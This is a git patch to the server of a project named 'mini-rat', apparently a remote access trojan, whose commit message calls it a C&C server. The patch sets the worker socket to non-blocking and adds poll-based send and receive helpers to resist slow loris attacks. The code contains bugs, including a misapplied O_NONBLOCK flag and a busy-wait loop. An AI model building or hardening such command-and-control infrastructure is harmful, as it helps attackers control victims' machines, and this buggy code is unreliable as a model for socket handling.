From ac63c0965a7f23ba0cc74688c7e1fc0cde4b654d Mon Sep 17 00:00:00 2001
From: Danny Holman <dholman@gymli.org>
Date: Tue, 13 Jun 2023 23:46:02 -0500
Subject: server: mark the worker socket as non-blocking

Mark the socket in the worker function as non-blocking and run poll().
This should be done in order to prevent a slow loris attack on the C&C
server.

Signed-off-by: Danny Holman <dholman@gymli.org>
---
 server/include/mini-rat.h | 12 ++++++++++++
 server/include/server.h   |  4 ++++
 server/src/server.c       | 50 ++++++++++++++++++++++++++++++++---------------
 3 files changed, 50 insertions(+), 16 deletions(-)

diff --git a/server/include/mini-rat.h b/server/include/mini-rat.h
index 8c9aad3..9230ab2 100644
--- a/server/include/mini-rat.h
+++ b/server/include/mini-rat.h
@@ -25,6 +25,14 @@
 #include <arpa/inet.h>
 #endif
 
+#ifdef HAVE_FCNTL_H
+#include <fcntl.h>
+#endif
+
+#ifdef HAVE_POLL_H
+#include <poll.h>
+#endif
+
 #ifdef HAVE_PTHREAD_H
 #include <pthread.h>
 #endif
@@ -57,6 +65,10 @@
 #include <time.h>
 #endif
 
+#ifdef HAVE_SIGNAL_H
+#include <signal.h>
+#endif
+
 #ifdef HAVE_STDARG_H
 #include <stdarg.h>
 #endif
diff --git a/server/include/server.h b/server/include/server.h
index 26f9c42..b8f4fd7 100644
--- a/server/include/server.h
+++ b/server/include/server.h
@@ -5,7 +5,11 @@
 
 void* control_listener(void *port);
 void* control_worker(void *sock_desc);
+
 void* listener(void *port);
 void* worker(void *sock_desc);
 
+ssize_t output_pump(int sock, char *buffer, size_t sz);
+ssize_t input_pump(int sock, char *buffer, size_t sz);
+
 #endif
diff --git a/server/src/server.c b/server/src/server.c
index cc6dbaf..ea37a72 100644
--- a/server/src/server.c
+++ b/server/src/server.c
@@ -1,11 +1,7 @@
 #include <server.h>
 #include <session.h>
 #include <logging.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-#include <pthread.h>
+#include <mini-rat.h>
 
 void* listener(void *port) {
         uint16_t port_num = *(int*)port;
@@ -27,29 +23,51 @@ void* listener(void *port) {
 
         int client_sock = 0;
         pthread_t newthread;
-        while (client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len)) {
+        while ((client_sock = accept(server_sock, (struct sockaddr*)&client_name, &client_name_len))) {
                 pthread_create(&newthread, NULL, worker, (void*)&client_sock);
                 pthread_detach(newthread);
         }
 
         close_logfile();
         close(server_sock);
-}
-
-int perform_handshake(int socket) {
-        // TODO: call openssl stuff here
         return 0;
 }
 
 void* worker(void *sock_desc) {
         int sock = *(int*)sock_desc;
-        if (perform_handshake(sock) != 0)
-                return NULL;
+        fcntl(sock, F_SETFL, fcntl(sock, F_GETFL, 0) & O_NONBLOCK);
 
-        int id = init_session(sock);
-        log_msg(LOG_INFO, "New session created with ID=%d\n", id);
-        // TODO: keep the client from timing out
+        struct session *ses = find_session(init_session(sock));
+        log_msg(LOG_INFO, "New session created with ID=%d\n", ses->id);
+
+        // TODO: have this thread actually do something
+        while (ses->alive == 1);
+
+        return 0;
+}
+
+ssize_t output_pump(int sock, char *buffer, size_t sz) {
+        struct pollfd pfd[1];
+        pfd[0].fd = sock;
+        pfd[0].events = POLLIN;
+        int status = poll(pfd, 1, 15000);
+        if (status < 0)
+                return -1;
+        else if (pfd[0].revents & POLLIN)
+                return send(sock, buffer, sz, 0);
+
+        return 0;
+}
 
-        close(sock);
+ssize_t input_pump(int sock, char *buffer, size_t sz) {
+        struct pollfd pfd[1];
+        pfd[0].fd = sock;
+        pfd[0].events = POLLIN;
+        int status = poll(pfd, 1, 15000);
+        if (status < 0)
+                return -1;
+        else if (pfd[0].revents & POLLIN)
+                return recv(sock, buffer, sz, 0);
+        
         return 0;
 }
-- 
cgit v1.2.3